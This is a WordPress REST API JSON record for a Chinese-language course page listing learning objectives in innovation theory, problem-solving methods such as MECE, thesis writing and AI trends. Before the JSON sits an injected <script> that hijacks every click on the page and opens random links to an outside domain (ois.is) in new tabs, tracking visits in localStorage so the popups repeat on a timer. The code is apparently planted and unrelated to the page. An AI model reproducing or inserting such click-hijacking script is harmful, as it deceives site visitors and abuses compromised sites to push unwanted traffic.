<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":997,"date":"2014-10-11T12:10:13","date_gmt":"2014-10-11T04:10:13","guid":{"rendered":"http:\/\/edu.secda.info\/phil999_course01\/?page_id=997"},"modified":"2020-02-26T09:37:54","modified_gmt":"2020-02-26T01:37:54","slug":"%e8%aa%b2%e7%a8%8b%e9%80%b2%e5%ba%a6","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/phil999_course01\/?page_id=997","title":{"rendered":"\u5b78\u7fd2\u76ee\u6a19"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"997\" class=\"elementor elementor-997\" data-elementor-settings=\"[]\">\r\n\t\t\t\t\t\t<div class=\"elementor-inner\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-section-wrap\">\r\n\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-6d40 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"6d40\" data-element_type=\"section\">\r\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-row\">\r\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-75ab\" data-id=\"75ab\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-2ffb elementor-widget elementor-widget-text-editor\" data-id=\"2ffb\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t\t\t\t\t\t<div class=\"elementor-text-editor elementor-clearfix\">\r\n\t\t\t\t<ol><li>\u4e86\u89e3\u5275\u65b0\u7406\u8ad6\u7684\u57fa\u672c\u77e5\u8b58\u6a21\u578b\uff1a\u5305\u62ec\u5275\u610f\u601d\u8003\u8207\u89e3\u6c7a\u554f\u984c\u7684\u5fc3\u667a\u5716\u6cd5\u3001\u958b\u5275\u65b0\u5e02\u5834\u7684\u85cd\u6d77\u7b56\u7565\u3001\u6c7a\u5b9a\u4e8b\u696d\u8cfa\u9322\u65b9\u6cd5\u7684\u5546\u696d\u6a21\u5f0f\u5206\u6790\u7b49<\/li><li>\u719f\u6089\u89e3\u6c7a\u554f\u984c\u7684\u908f\u8f2f\u8207\u6280\u80fd\uff1a\u5305\u62ec\u57fa\u790e\u7814\u7a76\u554f\u984c\u8207\u5206\u6790\u6982\u5ff5\u3001\u554f\u984c\u672c\u8cea\u3001MECE\u5206\u6790\u6cd5\u3001\u908f\u8f2f\u91d1\u4e09\u89d2\u5206\u6790\u6cd5\u7b49<\/li><li>\u7d9c\u5408\u4e0a\u8ff0\u77e5\u8b58\u6a21\u578b\u8207\u908f\u8f2f\u6280\u80fd\uff0c\u8a0e\u8ad6\u5178\u578b\u500b\u6848\u4e26\u9032\u884c\u5be6\u969b\u7684\u500b\u6848\u5206\u6790\u5be6\u4f5c\uff0c\u4ee5\u63d0\u5347\u61c9\u7528\u52a0\u503c\u76f8\u95dc\u5275\u65b0\u7406\u8ad6\u6a21\u5f0f\u7684\u80fd\u529b<\/li><li>\u64b0\u5beb\u5275\u65b0\u6a21\u578b\u500b\u6848\u5206\u6790\u7814\u7a76\u8ad6\u6587\uff1a\u4ee5\u7562\u696d\u8ad6\u6587\u683c\u5f0f\u64b0\u5beb\u4e00\u500b20-30\u9801\u8ad6\u6587\uff0c\u4ee5\u5167\u756b\u5275\u65b0\u7406\u8ad6\u77e5\u8b58\u6210\u70ba\u89e3\u6c7a\u554f\u984c\u80fd\u529b\uff0c\u589e\u52a0\u500b\u4eba\u7af6\u722d\u529b\u3002<\/li><li>\u4e86\u89e3\u4eba\u5de5\u667a\u6167\u8da8\u52e2\u5c0d\u5275\u65b0\u7684\u5f71\u97ff<\/li><\/ol>\t\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/section>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t","protected":false},"excerpt":{"rendered":"<p>\u4e86\u89e3\u5275\u65b0\u7406\u8ad6\u7684\u57fa\u672c\u77e5\u8b58\u6a21\u578b\uff1a\u5305\u62ec\u5275\u610f\u601d\u8003\u8207\u89e3\u6c7a\u554f\u984c\u7684\u5fc3\u667a\u5716\u6cd5\u3001\u958b\u5275\u65b0\u5e02\u5834\u7684\u85cd\u6d77\u7b56<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":1526,"menu_order":2,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages\/997"}],"collection":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=997"}],"version-history":[{"count":7,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages\/997\/revisions"}],"predecessor-version":[{"id":1623,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages\/997\/revisions\/1623"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=\/wp\/v2\/pages\/1526"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/phil999_course01\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=997"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}